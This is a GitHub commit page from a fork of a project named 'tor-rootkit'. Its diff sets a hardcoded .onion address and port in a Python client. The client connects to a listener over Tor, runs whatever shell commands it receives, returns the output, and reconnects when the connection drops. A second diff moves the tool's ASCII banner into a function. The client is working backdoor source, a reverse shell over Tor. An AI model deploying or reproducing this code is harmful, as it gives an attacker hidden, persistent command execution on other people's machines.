forked from emcruise/tor-rootkit
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
emcruise
committed
Aug 12, 2021
1 parent
98ad623
commit c54c85a
Showing
7 changed files
with
121 additions
and
99 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,69 +1,69 @@ | ||
from network import ClientSocket, Tor | ||
from argparse import ArgumentParser | ||
import tasks | ||
|
||
|
||
onion = "" | ||
port = 0 | ||
|
||
|
||
class Client: | ||
BUFFERSIZE = 4096 | ||
|
||
def __init__(self): | ||
self.__tor = Tor() | ||
self.initializeNetwork() | ||
|
||
def initializeNetwork(self): | ||
self.__sock = ClientSocket(onion, port) | ||
# start shell after successfull network connection | ||
self.run() | ||
|
||
def run(self): | ||
""" | ||
Once the connection is established the client receives tasks, | ||
and responds with the corresponding output. | ||
""" | ||
while True: | ||
# receive task | ||
try: | ||
task, args = self.__sock.receive(self.BUFFERSIZE) | ||
# evaluate output | ||
execution_status = self.execute(task, args) | ||
# broken connection because either network.send or network.receive | ||
# raised an exception. | ||
except Exception: | ||
del(self.__sock) | ||
break | ||
if execution_status == -1: | ||
continue | ||
elif execution_status == 0: | ||
pass | ||
|
||
# re-establish connection after it is broken | ||
self.initializeNetwork() | ||
|
||
|
||
def execute(self, task, args) -> int: | ||
""" | ||
Executes the input of the listener. | ||
""" | ||
if task == 'EXECUTE': | ||
command = args[0] | ||
output = tasks.executeShell(command) | ||
self.__sock.send(output) | ||
elif task == 'ACTIVE': | ||
self.__sock.send('ACTIVE') | ||
elif task == '': | ||
# no empty string gets send because the client | ||
# sends back the cwd everytime anyways. | ||
self.__sock.send('') | ||
elif task == 'EXIT': | ||
return -1 | ||
else: | ||
self.__sock.send('Unknown command') | ||
return 0 | ||
|
||
|
||
if __name__ == '__main__': | ||
from network import ClientSocket, Tor | ||
from argparse import ArgumentParser | ||
import tasks | ||
|
||
|
||
onion = "xb4hcfkkgtnzoofl6473gktzuhuwaaunozteaqmgoa3q6vxxtjvuueqd.onion" | ||
port = 8843 | ||
|
||
|
||
class Client: | ||
BUFFERSIZE = 4096 | ||
|
||
def __init__(self): | ||
self.__tor = Tor() | ||
self.initializeNetwork() | ||
|
||
def initializeNetwork(self): | ||
self.__sock = ClientSocket(onion, port) | ||
# start shell after successfull network connection | ||
self.run() | ||
|
||
def run(self): | ||
""" | ||
Once the connection is established the client receives tasks, | ||
and responds with the corresponding output. | ||
""" | ||
while True: | ||
# receive task | ||
try: | ||
task, args = self.__sock.receive(self.BUFFERSIZE) | ||
# evaluate output | ||
execution_status = self.execute(task, args) | ||
# broken connection because either network.send or network.receive | ||
# raised an exception. | ||
except Exception: | ||
del(self.__sock) | ||
break | ||
if execution_status == -1: | ||
continue | ||
elif execution_status == 0: | ||
pass | ||
|
||
# re-establish connection after it is broken | ||
self.initializeNetwork() | ||
|
||
|
||
def execute(self, task, args) -> int: | ||
""" | ||
Executes the input of the listener. | ||
""" | ||
if task == 'EXECUTE': | ||
command = args[0] | ||
output = tasks.executeShell(command) | ||
self.__sock.send(output) | ||
elif task == 'ACTIVE': | ||
self.__sock.send('ACTIVE') | ||
elif task == '': | ||
# no empty string gets send because the client | ||
# sends back the cwd everytime anyways. | ||
self.__sock.send('') | ||
elif task == 'EXIT': | ||
return -1 | ||
else: | ||
self.__sock.send('Unknown command') | ||
return 0 | ||
|
||
|
||
if __name__ == '__main__': | ||
client = Client() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,10 +1,13 @@ | ||
from colorama import init, Fore, Style | ||
init() | ||
# Source: http://patorjk.com/software/taag/#p=display&f=Graffiti&t=TorRootkit | ||
print('___________ __________ __ __ .__ __ ') | ||
print('\\__ ___/_________\\______ \\ ____ _____/ |_| | _|__|/ |_ ') | ||
print(' | | / _ \\_ __ \\ _// _ \\ / _ \\ __\\ |/ / \\ __\\') | ||
print(' | |( <_> ) | \\/ | ( <_> | <_> ) | | <| || | ') | ||
print(' |____| \\____/|__| |____|_ /\\____/ \\____/|__| |__|_ \\__||__| ') | ||
print(' \\/ \\/ ') | ||
print(Fore.GREEN + Style.BRIGHT + 'by emcruise' + Style.RESET_ALL) | ||
|
||
|
||
def draw(): | ||
init() | ||
# Source: http://patorjk.com/software/taag/#p=display&f=Graffiti&t=TorRootkit | ||
print('___________ __________ __ __ .__ __ ') | ||
print('\\__ ___/_________\\______ \\ ____ _____/ |_| | _|__|/ |_ ') | ||
print(' | | / _ \\_ __ \\ _// _ \\ / _ \\ __\\ |/ / \\ __\\') | ||
print(' | |( <_> ) | \\/ | ( <_> | <_> ) | | <| || | ') | ||
print(' |____| \\____/|__| |____|_ /\\____/ \\____/|__| |__|_ \\__||__| ') | ||
print(' \\/ \\/ ') | ||
print(Fore.GREEN + Style.BRIGHT + 'by emcruise' + Style.RESET_ALL) |